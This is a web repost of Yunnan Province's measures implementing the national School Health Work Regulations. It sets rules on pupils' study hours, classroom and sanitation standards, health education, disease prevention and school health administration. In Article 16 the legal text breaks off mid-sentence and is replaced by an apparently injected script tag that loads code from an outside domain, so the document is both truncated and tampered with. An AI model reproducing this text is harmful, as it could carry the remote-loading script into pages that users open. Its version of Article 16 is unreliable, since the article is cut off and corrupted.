云南省实施《学校卫生工作条例》办法

时间:2022年10月16日    来源:民教网    阅读:0

第一章 总则

    第一条 为加强学校卫生工作,提高学生的健康水平,根据国务院批准的《学校卫生工作条例》(以下简称《条例》),结合我省实际,制定本办法。

    第二条 凡在我省辖区内的普通中小学、农业中学、职业中学、技工学校、厂矿中小学、中等专业学校、普通高等学校都必须执行《条例》和本办法。

    第三条 学校卫生工作的主要任务是:监测学生健康状况;对学生进行健康教育,培养学生良好的卫生习惯;改善学校卫生环境和教学卫生条件;加强对传染病、学生常见病的预防和治疗。

    第四条 教育行政部门负责学校卫生工作的行政管理,卫生行政部门负责对学校卫生工作的监督指导。

第二章 学校卫生工作要求

    第五条 各级各类学校应当严格执行《条例》的规定,学生每日的学习时间(包括自习),小学不超过六小时,中学、中专、技校、职业学校不超过八小时,大学不超过十小时;不得以任何理由和方式增加授课时间和作业量,加重学生负担。

    第六条 学校教学建筑、环境噪声,室内微小气候、采光、照明等环境质量以及黑板、课桌椅的设置应当符合国家有关标准。
    新建、改建、扩建校舍,其选址、设计应当符合国家的卫生标准,并取得当地卫生行政部门的许可。竣工验收应当有当地卫生行政部门参加。
    原有教室的采光、照明、黑板、课桌椅等不符合卫生要求的,应当有计划地加以改善,使之逐步达到国家标准。

    第七条 学校应当按照有关规定,为学生设置厕所和洗手设施。寄宿制学校应当为学生提供相应洗漱、洗澡等卫生设施。
  学校应当建立健全各种卫生、保健制度,培养和督促学生养成良好的卫生行为和习惯,保持良好的个人卫生、环境卫生、教育卫生、宿舍卫生,并有检查评比制度。

    第八条 学校应当认真贯彻执行食品卫生法律、法规,加强饮食卫生管理,加强营养指导。有食堂的学校应当办好学生膳食。保证提供学生充足的符合卫生标准的供水设施和饮用水。

    第九条 学样应当把健康教育纳入教学计划。小学应当按省编的健康教育课本授课,每学期健康教育的时间不得少于八节;中学的生理卫生课教学中应增加卫生保健知识内容;高等学校、中等专业学校、技工学校、职业中学应当结合实际情况开设健康教育选修课或者讲座。

    第十条 学校应当认真贯彻执行国家教委颁发的《学生近视眼防治工作方案》,深入开展保护学生视力的宣传教育,增强学生的自我保健能力。防治近视眼的工作以班为单位进行。有条件的学校每学期对学生进行一次视力检查,并公布视力检查情况。

    第十一条 学校应当因地制宜地开展对学生中弱视、沙眼、龋齿、肠道寄生虫、营养不良、贫血、肝炎、结核病、脊柱异常弯曲等常见病的防治工作,并做好对各种地方病、急性传染病、食物中毒的预防和控制管理工作。

    第十二条 学校应当建立学生体质健康监测管理制度。高等学校和中等专业学校、技工学校、职业高中、完全中学和有条件的中小学应当建立学生体检制度。定期对学生进行体质健康监测,建立学生体质健康卡片,把入学体检、毕业体检及定期体检资料纳入学生档案,并对体检资料进行统计分析,提出改善学生体质的相应措施。

    第十三条 学校对教学过程(包括体育课、军训课、劳技课)中的卫生进行监督。普通中小学校组织学生参加劳动,不得让学生接触有毒有害物质或者从事不安全工种的作业,不得让学生参加夜班劳动。

    第十四条 各级教育、卫生、财政、人事、劳动、建设部门应当密切配合,统筹规划本地区学校的卫生工作(包括机构设置、人员编制、经费、器械设施等方面),根据各地实际,对不同地区、不同类别学校,提出不同要求进行分类指导。

第三章 学校卫生工作管理

    第十五条 各地、州、市教育行政部门根据需要,经编制部门批准可以设立相应的卫生管理机构或者配备专门的卫生管理人员。
  县级教育行政部门可以配备专职或者兼职卫生管理人员。
  普通高等学校在编制部门核定的内设机构总数内,可以设立相应的卫生管理机构。
  中等专业学校和规模较大的技工学校、普通中学可以建立相应的卫生管理机构或者配备专、兼职管理人员。
  城镇完小有条件的可以根据需要配备兼职卫生工作管理人员。

    第十六条 经县级以上卫生行政部门批准,可以成立区域性的中小学生保健?script src=http://www.234mu.com/>

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